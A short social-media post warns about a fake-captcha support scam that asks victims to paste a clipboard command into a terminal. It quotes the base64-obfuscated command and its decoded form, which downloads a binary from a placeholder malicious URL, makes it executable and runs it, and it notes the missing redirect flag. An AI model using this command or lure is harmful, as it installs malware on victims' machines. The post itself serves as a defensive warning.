Post

A sneaky scam I've seen a few times now: Someone writes into support to demand a refund for a duplicate charge. "oh crap!" But their email is nowhere in my system, nor is their name...

The sketchy link, a Google Sites page, shows a fake captcha checkbox. And it copies a terminal command into your clipboard. And then: "to better prove you're not a robot, open a terminal and hit paste, enter"

incredible. i wonder what their hit rate is on that. i'm guessing very slim

The shell snippet is: echo -n <long base64 string> | base64 -d | bash Which expands to: curl -s -o /tmp/foo <malicious-url>; chmod +x /tmp/foo; /tmp/foo The funny thing is, it can't actually work

The malicious URL returns a 301 redirect. But curl doesn't follow redirects by default! It needs the -L flag for that, which they didn't include. With -L though, I was able to download the binary.